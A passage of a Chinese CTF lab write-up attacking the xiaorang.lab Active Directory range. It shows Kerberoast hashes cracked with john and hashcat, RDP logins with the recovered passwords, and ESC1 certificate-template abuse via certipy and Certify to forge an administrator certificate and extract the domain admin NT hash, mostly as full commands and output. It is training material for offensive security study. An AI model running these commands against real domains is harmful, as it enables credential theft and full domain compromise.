fae536f7845472db28e540470c86ebf27555f44e5c56b5b7a0da052458547e144c3fa420acb861a7aa1b27e6091a88ee884085cd156361af17d39590c276eb21e7274c97e1849c19a4ff13ed9f8d6ffc04be94a1edbff358477f8299f1154e371e26f7cbbd7b1f57c577a9c3cdaa10d26f5df579b6b901929ce4b200d53fb12da7ca316bc98234853f9bb9c50d7a73760582b35265c1d976d78211d0cf46e2537e57c1c72cadcd4b0240a4c9a6d86157e06e1598d58e10ea2926aa2e02fa188f3e0698e5fffc8b5553a53759f06f9642110818b2512f6b29491b65079792db32ff0efcf42624f82a07a9dcdc1d836a67e553291827285ea8c1ddce7dd129b5cde11897d26640195202d6a570e43dfe185501b498ad4f7cdba240ee245b49a79bdb4c3835501287bd75fccdf85db73ac7c2813454ac5718ed2ccdfe30fff015e9aeffbf856a053591c2619946f71573e712ef80cbb122f9dcd4f10ce41c11b0eba2306da3627251888bbfd551f2f37883e827bddf14b92aea6b54e3c903a20feae4afc2c2a9d8364c351678480705e8cba6dac1a626d1f9175fc7c02ec3e2b5fc6530d8b3131b74a083f665372c3e105d16704b762227c8cb658fc52c40bb38b05c2378da1c32acc40bb9ffec910c80d4e384ea990ded1a69cb49e6e7940eceea12471111843dc8aabd8c7885f3f65d758d8083704318cafa2f722cb31c5f0484bf158a28a4e755bc6d0997fa6672afe8ee93365b8b3b2b000e3a36559efd9fe3e395c1d3fdf3aa6f41ac870ad21836cf35fb41c1c650cee223d33b79
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$518122a479f395f8a6de054c7540a154$bbcb5634077d22fe6cfab5ea0b519c0573d7e39fecf1f8bad7170aa9e8905890380cf8db0a5dd09571adc43bd127bee154cf2a05a3c448f239964b92bea8c268a8cb976a306307230e7b7d7945eb6611c18ca4394d2537669f78a46f0a3c98c9b557d88f72b8eb7fc6efbe3bfaa3f300b73fcf910403371d5553ceadd0754cf25cdb703ceca4884e057f1cd0d859f3bc02035356f12699d5348e8363e4dab8f9a34491edbb065e3e6da39fe1b046c01652f8a1e0d0e7448973c98640bb1dece04a19d4e01000e83f084b761f04ba5a71dff81db341e4bf170b345a4376f1216fc12770638ecb8eaaf5f325efd61436aa5731fd3382a2dc36e44053bc3711219f1e9f3bb9c3217f2ed1b2dd0421377cfdb1e79e3a10d689be2feb6168a848023ffee310fcb8fad5e5023f93e08fe6a25183505cdf24fc1b9938dc75cdb5ce09a2c1416457f77ac239f5b32455e414fc1a80c5100e3e070a2b414f3cb38ac5065c3d78a0bf4b23a757fc42aebe02832203dcb4e009e963d1254bc348e097e4d936b6c82a1e14a1deb66c4f803a9c6af6b1d44f35b7f17ecb1bc05404fe542c861455a641f96adc8fee9ee7f42c7b306cf7be2e3e26bfddd719a992926c7e750f37828b8732eeb5ddfa75c2216bed37dd56cd60f3a73a339a77185c3d0d9a214eb8d22982c4078226f67223e1755d633cf818b94e5497c4e1a7f10d5606a74f81915ca7ebca82ee7c1daf674db21a12c2466d05203f992556707c84244c458bba1a422c4d4bdaafc78da78bf2510ef8d7480e8ec2fd8d1d11ad12adbb5f05b2c9a8fd7eed415511ba3d7590c4cb2f62997dd9f3819206102749a8484bd270d74d2899bbaa66a3bc1efa72068ce87da61ce22e354346121d8460da287ea00e2417f36f376db1ecc3ab29150e135adc02336c602f254e79916d2c1ea2f728efc1af178c7b01736b6a511a794a10312dabb8fe77cd2157533f8345516d9cecffc026247e463a09cc4add16cc365f266987114f8f47be96d9625361963cba6b091f798f1f12f13a9a504919236a3c08c83a07572034fc4aa53a2f7277bbf978c1425899209bc9a8566a8fc5bf267381ab529330a2bddb19ee99ce4d0732c4a2e6e7239bb4dacbbfc28f04ff63999daeb80ed6686b4d2fceaf5a7feaac353884dda90f60e83a53fb6e834e3e5718b4ad470128824c1b236ff136b810035aa46d584952bc1de8b9acb49b6e7fe8d4d9cd7a87fd57cc8c1beef95a22b379c48452adef38a56a4ae3e667d6cce626a9f096e3b9706dd8dd69ca20d0c16837580bd8b9ccaeee93ef71936efcf89435c6b4d3c1a26eca9b8a104df8f6c2ce9febf3c95238274401fb6214422393d636f60a4ea3040e171730e783e8a9b3cddbdd17d5b9710c4981bbdae9c93aea0d42b4ddf01864006639033a5779bd30b962912144de000fef1686c47dd99de1ce670c43b6

得到zhangxia和chenchen的密码哈希，即得到了 krb5tgs 的 Kerberos TGS-REP（Ticket-Granting Service Reply）票据的哈希

爆破票据哈希

使用hashcat或者john进行破解，rockyou.txt 是kali自带的密码本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
MyPass2@@6       (?)     
MyPass2@@6       (?)     
@Passw0rd@       (?)     
@Passw0rd@       (?)     
4g 0:00:00:13 DONE (2025-08-13 21:07) 0.2934g/s 842865p/s 3271Kc/s 3271KC/s @beagle1..@B41b84b83b83o2@
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

或者
hashcat -a 0 -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-13th Gen Intel(R) Core(TM) i7-13620H, 1424/2912 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 4 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?                 

* Append -O to the commandline.
  This lowers the maximum supported password/salt length (usually down to 32).

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$74e8612fbb2cf0f0ef54521efcd01942$30559b395db8283e380ae3ee107e6b21f9385c0147c9284d4d74c51cad5deedbb0831e3ed4dad13ffa4170dce9050d44a7b39f674e7d86e5b83ebaf302e0451053803103585d674a7759452fdaad760205917bbb13f78e67a4f47ef5f8544c0606d590a3ad764e2f5798cd5b930d8df3aff7f3cb7533189b4641c107bcdce20070f89516e62b3251ba474166a7a6fe7c8014c4417caf60371c66b5e7efff0fc4719b840fe63c10ead2138487a6aca6da83a81bed2cb1e729d38d66617c941e99da6668deb17a0d118fd5b16d2f062ad3f02cc782e4026f4d6b125bba726eb712e1949d34f479752562cbe337de43be71cc4bbc2b69cd93b18b19e530ca88dbb0d42335a91f29cd81bfcbc9b7598b1aa005a5a6d09393ba220bbd5c2c819c06d07c8ebc385171d3f1dd1d083a3da0f162ef2155b5b8711bcf55a0b1b7950b25b50b3cf8a2016d804c9de696868d54083658ddea4f5f58171bbce267a48586e8d4cd68dc43d27c3bb2011bf20eff6d2117021e4cf6e163dbea94ea3363d28e262277afe7dbb3ad366f386177e05423ebcd35bcb30523bae4d8c53ff9437d77953cec37134b49e9b14ea147a03be9ab4e30c31259824988a64af754322e308e5f65512ca1a6d63c304c4520790618ac89d3fae536f7845472db28e540470c86ebf27555f44e5c56b5b7a0da052458547e144c3fa420acb861a7aa1b27e6091a88ee884085cd156361af17d39590c276eb21e7274c97e1849c19a4ff13ed9f8d6ffc04be94a1edbff358477f8299f1154e371e26f7cbbd7b1f57c577a9c3cdaa10d26f5df579b6b901929ce4b200d53fb12da7ca316bc98234853f9bb9c50d7a73760582b35265c1d976d78211d0cf46e2537e57c1c72cadcd4b0240a4c9a6d86157e06e1598d58e10ea2926aa2e02fa188f3e0698e5fffc8b5553a53759f06f9642110818b2512f6b29491b65079792db32ff0efcf42624f82a07a9dcdc1d836a67e553291827285ea8c1ddce7dd129b5cde11897d26640195202d6a570e43dfe185501b498ad4f7cdba240ee245b49a79bdb4c3835501287bd75fccdf85db73ac7c2813454ac5718ed2ccdfe30fff015e9aeffbf856a053591c2619946f71573e712ef80cbb122f9dcd4f10ce41c11b0eba2306da3627251888bbfd551f2f37883e827bddf14b92aea6b54e3c903a20feae4afc2c2a9d8364c351678480705e8cba6dac1a626d1f9175fc7c02ec3e2b5fc6530d8b3131b74a083f665372c3e105d16704b762227c8cb658fc52c40bb38b05c2378da1c32acc40bb9ffec910c80d4e384ea990ded1a69cb49e6e7940eceea12471111843dc8aabd8c7885f3f65d758d8083704318cafa2f722cb31c5f0484bf158a28a4e755bc6d0997fa6672afe8ee93365b8b3b2b000e3a36559efd9fe3e395c1d3fdf3aa6f41ac870ad21836cf35fb41c1c650cee223d33b79:MyPass2@@6
$krb5tgs$23$*zhangxia$XIAORANG.LAB$xiaorang.lab/zhangxia*$d882bba159fc13609d4a54cdb50b0d83$ab306287a92878da0d852f4e4bb2b4da0b0dd4716ea861f16643c37d0663ae6add44fab80798494d43fd6a6182b5c8ade4bf602015a30069274350da522cca5c32868b54747c98b03d267e150ac7fca855637a3d447b21be2793ad7ebac57caae77da838d4789b3ac93a34954f817adb0b142e77d2c33a501f5675a65b7856a750fdfdce1bedd8156829e234ca153823275084aa6078af2bc7a7a0e73e59bf69a31e187a81c0b11259a3e9e1996b4e3429b4752344a7e625f92f2081f505c6951102d356bd2140fff36acd414097fb9e32fe5f45c355bd87f51f17eabac9c829f68b3c2f7f77a9f452ed541b64e28b93889db307d265409e349fe5b5605e7fd5e5ab467848c874ab09283c7001f7bc7ebc2d252ffe5c655ea6225e734490319d53040f11512e99bde53a3ec9af1190facbfc20fbd945fc3e0e5cbc05a15483e36ff8732a3563e19fd7bdf692673e7a389321142650a992dcaf9ff1105c47e8bcfeee0cf7ceb4787270d9cb9db7d70fdb79c1236555aa3cfad886ab163b071f8e522070798876e6e9fbaedae8e84da61118afc8377c3dabdb54048e6d4b6c0d26738f1445f73b380ad3740cb84b883e3340142fb889386d900d35b64ecbfb1162e1e95a1b374e65774495d5794d08d8dc688817fe974d6fa2cde062540d115ef5391f0fe7a155eaf936de291e848772fe9c247164cabaddfe55f6601ecda07c54d29fd6251c0e65783cb2c9141d158ee876c3c278db415fcdc40750c6011e16263552567629061b0c7df33105f9c7cb2c93dc8d45adf7cb7c6d0dcc58d5710da8625435569812556daa7212b71e8a4d1a2502738869fc92722e0cd088b3ea9fcd38da43afdef13d1ad4885e833a2b5a83b50fa5e99db3cf6d7182765915b34adb44a3eaa329a0e9248cf2b28e85ade4cdafd93014f4d9005784ba3c297a65f609f7e07bd2f97fa7fe366c16c55ecddaeba6ceccf491a9f030c0a71c2be441f710dd9409e801affca13736cac17c587a64a45908ceaeafa2f0ce7181d3b653bbcea470bea8b99745a391953b1748091be3d76d49c0bdc5483514e4de9672e93ebf0a4612308ca7e7faea0e5c18178948c6bcad5022f54f9d91461f78e62de4fdfc379f560b9fde1bd9ee86b777508a8dabd475fb09fe54d9c3ff91a350f843c6df7b4120e6aa3360deba290d2a0c15a47a92349b59c02b81cbf2daea600841410e2134ad4355d8beb545c616f8dcec064b0fbfc9c4b9fd26332dbe17d68f856ccfd10d9ba79f991dd765b313fef433d5ffbe0dd836859149fe560eea4a7b1f77de2cd9ef8bd6b200966c25eba6244cb945d7aa92332219e8b800a2070d279f06ec74011f69065d9d1cd8df8f00952a5dceb02edd5c83261fefa35a5d09cc2c0d9049dfaba67a33abcc047dca2cd645b6b53bfe8b00505f88b7b090b865b8c0e62438876433eafe94edee722285e17d4e920fe4d71dba2afb6609f10fb74bab046656e34efcbd4c656f0523b3caafa1:MyPass2@@6
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$518122a479f395f8a6de054c7540a154$bbcb5634077d22fe6cfab5ea0b519c0573d7e39fecf1f8bad7170aa9e8905890380cf8db0a5dd09571adc43bd127bee154cf2a05a3c448f239964b92bea8c268a8cb976a306307230e7b7d7945eb6611c18ca4394d2537669f78a46f0a3c98c9b557d88f72b8eb7fc6efbe3bfaa3f300b73fcf910403371d5553ceadd0754cf25cdb703ceca4884e057f1cd0d859f3bc02035356f12699d5348e8363e4dab8f9a34491edbb065e3e6da39fe1b046c01652f8a1e0d0e7448973c98640bb1dece04a19d4e01000e83f084b761f04ba5a71dff81db341e4bf170b345a4376f1216fc12770638ecb8eaaf5f325efd61436aa5731fd3382a2dc36e44053bc3711219f1e9f3bb9c3217f2ed1b2dd0421377cfdb1e79e3a10d689be2feb6168a848023ffee310fcb8fad5e5023f93e08fe6a25183505cdf24fc1b9938dc75cdb5ce09a2c1416457f77ac239f5b32455e414fc1a80c5100e3e070a2b414f3cb38ac5065c3d78a0bf4b23a757fc42aebe02832203dcb4e009e963d1254bc348e097e4d936b6c82a1e14a1deb66c4f803a9c6af6b1d44f35b7f17ecb1bc05404fe542c861455a641f96adc8fee9ee7f42c7b306cf7be2e3e26bfddd719a992926c7e750f37828b8732eeb5ddfa75c2216bed37dd56cd60f3a73a339a77185c3d0d9a214eb8d22982c4078226f67223e1755d633cf818b94e5497c4e1a7f10d5606a74f81915ca7ebca82ee7c1daf674db21a12c2466d05203f992556707c84244c458bba1a422c4d4bdaafc78da78bf2510ef8d7480e8ec2fd8d1d11ad12adbb5f05b2c9a8fd7eed415511ba3d7590c4cb2f62997dd9f3819206102749a8484bd270d74d2899bbaa66a3bc1efa72068ce87da61ce22e354346121d8460da287ea00e2417f36f376db1ecc3ab29150e135adc02336c602f254e79916d2c1ea2f728efc1af178c7b01736b6a511a794a10312dabb8fe77cd2157533f8345516d9cecffc026247e463a09cc4add16cc365f266987114f8f47be96d9625361963cba6b091f798f1f12f13a9a504919236a3c08c83a07572034fc4aa53a2f7277bbf978c1425899209bc9a8566a8fc5bf267381ab529330a2bddb19ee99ce4d0732c4a2e6e7239bb4dacbbfc28f04ff63999daeb80ed6686b4d2fceaf5a7feaac353884dda90f60e83a53fb6e834e3e5718b4ad470128824c1b236ff136b810035aa46d584952bc1de8b9acb49b6e7fe8d4d9cd7a87fd57cc8c1beef95a22b379c48452adef38a56a4ae3e667d6cce626a9f096e3b9706dd8dd69ca20d0c16837580bd8b9ccaeee93ef71936efcf89435c6b4d3c1a26eca9b8a104df8f6c2ce9febf3c95238274401fb6214422393d636f60a4ea3040e171730e783e8a9b3cddbdd17d5b9710c4981bbdae9c93aea0d42b4ddf01864006639033a5779bd30b962912144de000fef1686c47dd99de1ce670c43b6:@Passw0rd@
$krb5tgs$23$*chenchen$XIAORANG.LAB$xiaorang.lab/chenchen*$c4a1f8a790ba1889b7485feb97d78b9d$2361c720c6ce96565ede8f71db3ba65e271b9e6d7cdec8ebffe54191853f2e0b7396a54010097a57e1da7b8d266642f76f0eac1fffcf46ff5bfe08afd5000f0080d02fefb41e16c089987fc8f8454e3b8b12a8d4a489d78e5125e7b13a7a7147d46d026e9c126d553051deb836a2d845fd27ac59dea6b288c06358bf4cbbc85a59985950191cc7467d93b8a66a62103d0c465a5b9a9c224c8cc8156a50b3aa5d9a1582ed40ff651606727c7e97a207e6ec757c7e2aaf7e8db330e2246e2c48126194fb2f988941ddc262044a7395ea4cbef6cd603c8ed3aae4af8205bfa54f72ae5e3128c18496fd00d76398818ae73bfa2ba9d9155e5cfdfb268248d1373e62d474048d7448f550d61ab5dd3e4fd7003c715cfd973b2007d6907166c80d0ef6cfa64a33a6308b4161575eb4ec6ff25a09a794790a06275e18086ed9e1ac3c2d73a1e3933fafec8cb4185008327fbea1da4adaee812a18a978103ca6c5bd0af1991adfa562ad8a3a25cb37bb2c750f28d44f8cf73ccf4735587758e5f242a26742e1cc25e58ca06fc19b78e89a1991e8dc8f581426919ff078de878abcdf69f76784153bd492e8d8135b6bb65722bc2a94640098853d367eba5c20a1eda0defe55d91a993cd8531efd9fe8f8a4176779b164177c74b76c1462836dc42d45169d7f0d2b90a182a46f9710ddcb49b0ddffe1651208a022016cc5e1f18300bb84c0054ce2aaf3d58aff9759c6676e6b16c3feb7e8b9d1e463212c936a3b5f232e34f6c5583250d6a03297ae6d69b6975ddd2dd9c9c8516bacd6d6113ae91beb7dc3dd7f603617d2695af660e82cc2b6bedb87660286f9ede6eecd24103941e37dc9356526d4b734d59293596cf342c74e0dd4d672bd7114473dc131d3e601fd2e8001bc91e67fdfa3de8d927b01d00683fcc2f73f9d9bb7c557fe3eec60b643681841eb230b4510781741dff8c956bc47aa2f8a048a1af41d769352e9284d63aacdb7004d588c0acb845e650fe5a257d0ebb816b689792c863d8763ff409f8306db3f3b5a54ed4610704038c1aef89cba469283ef6a5e2818f6a3b139d42a7b4ab32138ee170e10f910b9aacf158c8eede1081ed79bf0a0896fdbda68c6d8421a08ee3403a8603293ed99b6b13c16c05d411cc2169c88dc53cffe11bbcba988761d83513a9f8318a21e8f6ba606c0e37c43223ed7b857816c1c27d3fce5ceb381bbfe2de138a5e99eda00051a18acb86118ced863c9630e51846b1b5561c88ec510e4b7aff1576ce0579d25c11ec47a5efa33e43238b3aa62a163fd49c20a6e2471d965a492857853ad84e4eb37eab9eaed18a90f68a2c96ee8fb63cb7740eb35e28539678d5c8921dcae5fd8f30c36ec71afb134a70e184dd48161f1b7afeae3d0dd00b35b5b89895ca0912d8ab884d6838d9168686d2586527d392c3746e4a87ca0d0141696128ed8aa428da46d1c6c53a298f3bb5791936a1189e0f30db03f8c7ace8a1f055fce8e37b942f2a7ef:@Passw0rd@
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: hash.txt
Time.Started.....: Tue Aug 12 22:59:11 2025 (29 secs)
Time.Estimated...: Tue Aug 12 22:59:40 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1522.8 kH/s (0.47ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 4/4 (100.00%) Digests (total), 4/4 (100.00%) Digests (new), 4/4 (100.00%) Salts
Progress.........: 45953024/57377540 (80.09%)
Rejected.........: 0/45953024 (0.00%)
Restore.Point....: 11487232/14344385 (80.08%)
Restore.Sub.#1...: Salt:3 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: @blink182 -> @D!TY@
Hardware.Mon.#1..: Util: 64%

Started: Tue Aug 12 22:58:59 2025
Stopped: Tue Aug 12 22:59:41 2025

破解得到密码

1
2
xiaorang.lab\zhangxia MyPass2@@6
xiaorang.lab\chenchen @Passw0rd@

ADCS ESC1

certipy/certipy-ad

可以使用账号密码进行远程登录，但rdp连上去发现什么都没有，这里并不能直接访问administrator的目录查找flag，因为没有管理员权限

1
2
3
4
proxychains xfreerdp3 /u:chenchen /p:'@Passw0rd@' /d:xiaorang.lab /v:172.22.9.7
proxychains xfreerdp3 /u:chenchen /p:@Passw0rd@ /d:xiaorang.lab /v:172.22.9.7 /cert:ignore /sec:tls
# 可行
proxychains xfreerdp3 /u:chenchen /p:'@Passw0rd@' /d:xiaorang.lab /v:172.22.9.26 /cert:ignore

由于存在CA认证服务器结合题目名，尝试查看是否存在错误配置的证书

查询漏洞，直接爆出来ESC1

1
2
3
4
5
6
7
8
9
10
11
# certipy/certipy-ad是版本导致的命名不同，我这个版本Kali里叫作certipy-ad
# certipy-ad
proxychains certipy-ad find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout
# certipy
proxychains certipy find -u 'zhangxia@xiaorang.lab'  -password 'MyPass2@@6' -dc-ip 172.22.9.7 -vulnerable -stdout


Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] Vulnerabilities
      ESC1                              : Enrollee supplies subject and template allows client authentication.

通过代理成功枚举域控证书服务，发现至少一个模板易受 ESC1 漏洞影响，域内普通用户可滥用该模板申请任意身份认证证书，严重安全隐患。

利用 ESC1，申请 XR Manager 证书模版并伪造域管理员，得到administrator.pfx，然后利用administrator.pfx证书获取 TGT 和 NTLM Hash

1
2
3
proxychains certipy-ad req -u 'zhangxia@xiaorang.lab' -p 'MyPass2@@6' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca 'xiaorang-XIAORANG-DC-CA' -template 'XR Manager' -upn 'administrator@xiaorang.lab'
# 或者
proxychains certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn 'administrator@xiaorang.lab'

我这里直接出结果了，也可能遇到超时的情况，如下图

image-20240118203003002

可以改一下/etc/hosts避免超时

/etc/hosts 是 Linux、Unix、macOS 等操作系统下的一个本地静态域名解析文件，用于在没有 DNS（域名系统）服务器的情况下，将主机名（域名）映射到 IP 地址。

img

拿到生成的administrator.pfx获取域管哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7
# 或者
proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@xiaorang.lab'
[*] Using principal: 'administrator@xiaorang.lab'
[*] Trying to get TGT...
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[proxychains] Strict chain  ...  127.0.0.1:55556  ...  172.22.9.7:88  ...  OK
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80

certify.exe

也可以用Certify 文件（上面已经演示了）：https://github.com/r3motecontrol/Ghostpack-CompiledBinaries

运行如下命令：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
# 查找易受攻击的证书模板
Certify.exe find /vulnerable
icrosoft Windows [�汾 10.0.14393]
(c) 2016 Microsoft Corporation����������Ȩ����

C:\Users\chenchen\Downloads>Certify.exe find /vulnerable

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Find certificate templates
[*] Using the search base 'CN=Configuration,DC=xiaorang,DC=lab'

[*] Listing info about the Enterprise CA 'xiaorang-XIAORANG-DC-CA'

    Enterprise CA Name            : xiaorang-XIAORANG-DC-CA
    DNS Hostname                  : XIAORANG-DC.xiaorang.lab
    FullName                      : XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Cert Thumbprint               : 37BFD9FE73CA81E18E7A87CEBD90AF267E57170E
    Cert Serial                   : 43A73F4A37050EAA4E29C0D95BC84BB5
    Cert Start Date               : 2023/7/14 12:33:21
    Cert End Date                 : 2028/7/14 12:43:21
    Cert Chain                    : CN=xiaorang-XIAORANG-DC-CA,DC=xiaorang,DC=lab
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               XIAORANG\Domain Admins        S-1-5-21-990187620-235975882-534697781-512
      Allow  ManageCA, ManageCertificates               XIAORANG\Enterprise Admins    S-1-5-21-990187620-235975882-534697781-519
    Enrollment Agent Restrictions : None

[!] Vulnerable Certificates Templates :

    CA Name                               : XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA
    Template Name                         : XR Manager
    Schema Version                        : 2
    Validity Period                       : 1 year
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : ��ȫ�����ʼ�, �����ļ�ϵͳ, �ͻ���������֤
    mspki-certificate-application-policy  : ��ȫ�����ʼ�, �����ļ�ϵͳ, �ͻ���������֤
    Permissions
      Enrollment Permissions
        Enrollment Rights           : NT AUTHORITY\Authenticated UsersS-1-5-11
                                      XIAORANG\Domain Admins        S-1-5-21-990187620-235975882-534697781-512
                                      XIAORANG\Domain Users         S-1-5-21-990187620-235975882-534697781-513
                                      XIAORANG\Enterprise Admins    S-1-5-21-990187620-235975882-534697781-519
      Object Control Permissions
        Owner                       : XIAORANG\Administrator        S-1-5-21-990187620-235975882-534697781-500
        WriteOwner Principals       : XIAORANG\Administrator        S-1-5-21-990187620-235975882-534697781-500
                                      XIAORANG\Domain Admins        S-1-5-21-990187620-235975882-534697781-512
                                      XIAORANG\Enterprise Admins    S-1-5-21-990187620-235975882-534697781-519
        WriteDacl Principals        : XIAORANG\Administrator        S-1-5-21-990187620-235975882-534697781-500
                                      XIAORANG\Domain Admins        S-1-5-21-990187620-235975882-534697781-512
                                      XIAORANG\Enterprise Admins    S-1-5-21-990187620-235975882-534697781-519
        WriteProperty Principals    : XIAORANG\Administrator        S-1-5-21-990187620-235975882-534697781-500
                                      XIAORANG\Domain Admins        S-1-5-21-990187620-235975882-534697781-512
                                      XIAORANG\Enterprise Admins    S-1-5-21-990187620-235975882-534697781-519



Certify completed in 00:00:10.2941210

重点查看这三个属性是否符合漏洞（ESC1）条件

1
2
3
4
5
6
7
8
9
10
11
12
ESC1利用前提条件：
msPKI-Certificates-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
表示基于此证书模板申请新证书的用户可以为其他用户申请证书，即任何用户，包括域管理员用户
PkiExtendedKeyUsage: Client Authentication
表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证
Enrollment Rights: NT Authority\Authenticated Users
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书

分别是：
msPKI-Certificate-Name-Flag:ENROLLEE_SUPPLIES_SUBJECT
mspki-certificate-application-policy:客户端身份验证
Enrollment Rights:XIAORANG\Domain Users

image-20250813215731506

查找设置了 msPKI-Certificate-Name-Flag: (0x1) ENROLLEE_SUPPLIES_SUBJECT 标志的证书模版，利用这个漏洞冒充管理员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# 这个行
Certify.exe request /ca:XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA /template:"XR Manager" /altname:administrator
# 这个不行
Certify.exe request /ca:CA01.xiaorang.lab\xiaorang-CA01-CA /template:"XR Manager" /altname:XIAORANG.LAB\Administrator

C:\Users\chenchen\Downloads>Certify.exe request /ca:XIAORANG-DC.xiaorang.lab\xiaorang-XIAORANG-DC-CA /template:"XR Manager" /altname:administrator

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.0.0

[*] Action: Request a Certificates

[*] Current user context    : XIAORANG\chenchen
[*] No subject name specified, using current context as subject.

[*] Template                : XR Manager
